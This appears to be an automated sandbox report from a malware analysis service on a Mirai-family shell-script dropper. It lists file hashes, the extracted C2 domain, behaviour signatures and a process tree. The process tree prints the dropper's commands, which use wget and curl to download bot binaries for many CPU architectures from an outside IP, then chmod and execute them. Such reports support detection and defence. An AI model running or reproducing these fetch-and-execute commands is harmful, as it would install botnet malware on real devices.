Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
130s -
max time network
146s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
12/03/2025, 03:50
Static task
static1
Behavioral task
behavioral1
Sample
fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh
Resource
debian9-mipsbe-20240729-en
General
-
Target
fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh
-
Size
2KB
-
MD5
692f9c1bb6968288bf29d821a3e10076
-
SHA1
f19e711e883db0ad8f0c456586a9ad466e1fa599
-
SHA256
fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b
-
SHA512
38032bacfa117dce21578047eb50a79b83f93cc21934bb84891d236ff7cb3fd05925e0c6caadcec68b27087d1b50e4fdac0273d730b40180915aa788acc3beee
Malware Config
Extracted
mirai
UNSTABLE
dasdv1.service1921.club
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1550 chmod 1563 chmod 1569 chmod 1599 chmod 1605 chmod 1611 chmod 1616 chmod 1557 chmod 1575 chmod 1581 chmod 1587 chmod 1593 chmod 1622 chmod -
Deletes itself 1 IoCs
pid Process 1551 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh -
Executes dropped EXE 13 IoCs
ioc pid Process /tmp/WTH 1551 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1558 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1564 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1570 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1576 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1582 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1588 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1594 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1600 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1606 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1612 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1617 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh /tmp/WTH 1623 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh File opened for modification /dev/misc/watchdog fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh -
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh File opened for modification /bin/watchdog fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh -
resource yara_rule behavioral1/files/fstream-1.dat upx behavioral1/files/fstream-4.dat upx behavioral1/files/fstream-5.dat upx behavioral1/files/fstream-6.dat upx behavioral1/files/fstream-7.dat upx -
Changes its process name 1 IoCs
description pid Process Changes the process name, possibly in an attempt to hide itself 1551 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh -
description ioc Process File opened for reading /proc/self/exe fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh File opened for reading /proc/self/maps fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1553 wget 1555 curl 1556 cat -
Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/EdiAf.arm5 curl File opened for modification /tmp/EdiAf.arm6 wget File opened for modification /tmp/EdiAf.arm6 curl File opened for modification /tmp/EdiAf.arm7 wget File opened for modification /tmp/EdiAf.arm7 curl File opened for modification /tmp/EdiAf.i686 curl File opened for modification /tmp/WTH fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh File opened for modification /tmp/EdiAf.mpsl curl File opened for modification /tmp/EdiAf.arm curl File opened for modification /tmp/EdiAf.ppc wget File opened for modification /tmp/EdiAf.m68k wget File opened for modification /tmp/EdiAf.sh4 wget File opened for modification /tmp/EdiAf.sh4 curl File opened for modification /tmp/EdiAf.arc curl File opened for modification /tmp/EdiAf.x86 curl File opened for modification /tmp/EdiAf.ppc curl File opened for modification /tmp/EdiAf.m68k curl File opened for modification /tmp/EdiAf.spc wget File opened for modification /tmp/EdiAf.spc curl File opened for modification /tmp/EdiAf.mips wget File opened for modification /tmp/EdiAf.mips curl File opened for modification /tmp/EdiAf.mpsl wget File opened for modification /tmp/EdiAf.arm5 wget File opened for modification /tmp/EdiAf.x86 wget File opened for modification /tmp/EdiAf.arm wget
Processes
-
/tmp/fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh/tmp/fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh1⤵
- Deletes itself
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:1543 -
/usr/bin/wgetwget http://78.40.117.13/EdiAf.x862⤵
- Writes file to tmp directory
PID:1544
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.x862⤵
- Writes file to tmp directory
PID:1548
-
-
/bin/catcat EdiAf.x862⤵PID:1549
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1550
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1553
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1555
-
-
/bin/catcat EdiAf.mips2⤵
- System Network Configuration Discovery
PID:1556
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.mips EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1557
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1558
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.mpsl2⤵
- Writes file to tmp directory
PID:1560
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.mpsl2⤵
- Writes file to tmp directory
PID:1561
-
-
/bin/catcat EdiAf.mpsl2⤵PID:1562
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.mips EdiAf.mpsl EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1563
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1564
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm2⤵
- Writes file to tmp directory
PID:1566
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm2⤵
- Writes file to tmp directory
PID:1567
-
-
/bin/catcat EdiAf.arm2⤵PID:1568
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.mips EdiAf.mpsl EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1569
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1570
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm52⤵
- Writes file to tmp directory
PID:1572
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm52⤵
- Writes file to tmp directory
PID:1573
-
-
/bin/catcat EdiAf.arm52⤵PID:1574
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.arm5 EdiAf.mips EdiAf.mpsl EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1575
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1576
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm62⤵
- Writes file to tmp directory
PID:1578
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm62⤵
- Writes file to tmp directory
PID:1579
-
-
/bin/catcat EdiAf.arm62⤵PID:1580
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.mips EdiAf.mpsl EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1581
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1582
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm72⤵
- Writes file to tmp directory
PID:1584
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm72⤵
- Writes file to tmp directory
PID:1585
-
-
/bin/catcat EdiAf.arm72⤵PID:1586
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1587
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1588
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.ppc2⤵
- Writes file to tmp directory
PID:1590
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.ppc2⤵
- Writes file to tmp directory
PID:1591
-
-
/bin/catcat EdiAf.ppc2⤵PID:1592
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1593
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1594
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.m68k2⤵
- Writes file to tmp directory
PID:1596
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.m68k2⤵
- Writes file to tmp directory
PID:1597
-
-
/bin/catcat EdiAf.m68k2⤵PID:1598
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1599
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1600
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.spc2⤵
- Writes file to tmp directory
PID:1602
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.spc2⤵
- Writes file to tmp directory
PID:1603
-
-
/bin/catcat EdiAf.spc2⤵PID:1604
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1605
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1606
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.i6862⤵PID:1608
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.i6862⤵
- Writes file to tmp directory
PID:1609
-
-
/bin/catcat EdiAf.i6862⤵PID:1610
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1611
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1612
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.sh42⤵
- Writes file to tmp directory
PID:1613
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.sh42⤵
- Writes file to tmp directory
PID:1614
-
-
/bin/catcat EdiAf.sh42⤵PID:1615
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1616
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1617
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arc2⤵PID:1619
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arc2⤵
- Writes file to tmp directory
PID:1620
-
-
/bin/catcat EdiAf.arc2⤵PID:1621
-
-
/bin/chmodchmod +x config-err-Ra2I3T EdiAf.arc EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b.sh netplan_h1v13_3r snap-private-tmp ssh-T6wku1xYGrIW systemd-private-f47eeb414e894b00a26debd2464a5d63-bolt.service-r0GYuA systemd-private-f47eeb414e894b00a26debd2464a5d63-colord.service-rGLnDH systemd-private-f47eeb414e894b00a26debd2464a5d63-ModemManager.service-jpNWwW systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-resolved.service-Z7NsW9 systemd-private-f47eeb414e894b00a26debd2464a5d63-systemd-timedated.service-JUEESc WTH2⤵
- File and Directory Permissions Modification
PID:1622
-
-
/tmp/WTH./WTH lg.selfrep2⤵PID:1623
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
30KB
MD5e932653d32b429c51de2046623fa71d2
SHA132ecc535e6cf6e99f105835d4a7cb75ef4cb233a
SHA25687dd914f28847f21e680b74700b0b4b339eb8f301677b53b1dddf8ffa2f33612
SHA512e284ce814a09b33a108507645c88845aa478e05d7925742e09f190f4c733630429e9f9460c76b9e3b6ec17eddc3110e8283e515891bcaea4ce0307509fbe84c2
-
Filesize
33KB
MD5029a7185777b7f885a6c3807e46b7365
SHA187372b0029b72446861c7b429e3ef1626c337218
SHA25642c2075a2803b78355f68b9d651a7bd154e5b61f62418d84a3b4d064b5c68a7d
SHA5124890cb74a283c03d790ffe4f2e5fbc06d82d5943773874c00c48171000cb21891720a57eb22e036cd2324e28b476a38f61c29f0d05d2949c2f4c8cdb971779a8
-
Filesize
35KB
MD57327f58c0e15f6086301a81780e100dc
SHA1292bb04ad4df407ac687ef1df1071659708bd3bb
SHA256b9f12d8c72d2a2a7263e1a7c2947e3891212b3566aae1b873212c6031e02de4d
SHA5124cc238acfd72556b2453f4d2880ccc3b2f00d0899c98a6b7eeee7cb139b242b318b8483b3bc70f96ca23934719f2152712d0efb8d9a1c950a0c98eed02452911
-
Filesize
32KB
MD5addb1cd662dd870b9b7ed5273d6fa76e
SHA16e12f9d5128a0de23d4b4b0dbfbefb91ff09dfc0
SHA256cee6e1cc48f81462d1668be2c341d7cc84b24e20e1747be03ad7e296434bffe7
SHA51228525de6add0d53f05e3c7c1e7d84927f40aee8c24d531216b6a77aa0f0a11fddd67b7f41b9eccc9b6692579a0c0f7453145480f7f8bacdd5d7ab13ffaad2d4f
-
Filesize
21KB
MD5a117b1b367633cb07f0795bd5f0c6f8f
SHA132bfac42c7134383c6381b94c0d75317fcb56d11
SHA25640fe55ff37dfaa1eded6d4a0d28994f7eaa4f36c384676bf3587349390a800f0
SHA5127e9e4ac7b911b44f40eb14f684bac76478e95085ac0cc393dac95fa312057e9c4f1a3508338098026bd1369179cccae91ca07092024201b3619fdc4401a25726
-
Filesize
75KB
MD5642dff628df548a6c458f004fd3b5aa1
SHA1cfd38a2a7522ed9637978f6f2c6ba117d60a9ec7
SHA256219f1a94474530ae2502631dabb897e1442ce2b535728f36e7eb5153ae2228ed
SHA512dc4ae205c670da0ead108aa30eb7627fab0a11fe4c47ce2c66042f89ef0ba4f52792d8217d98852e0c471f071079bb76bc4b975e32a018e3a5eeceb98c33f851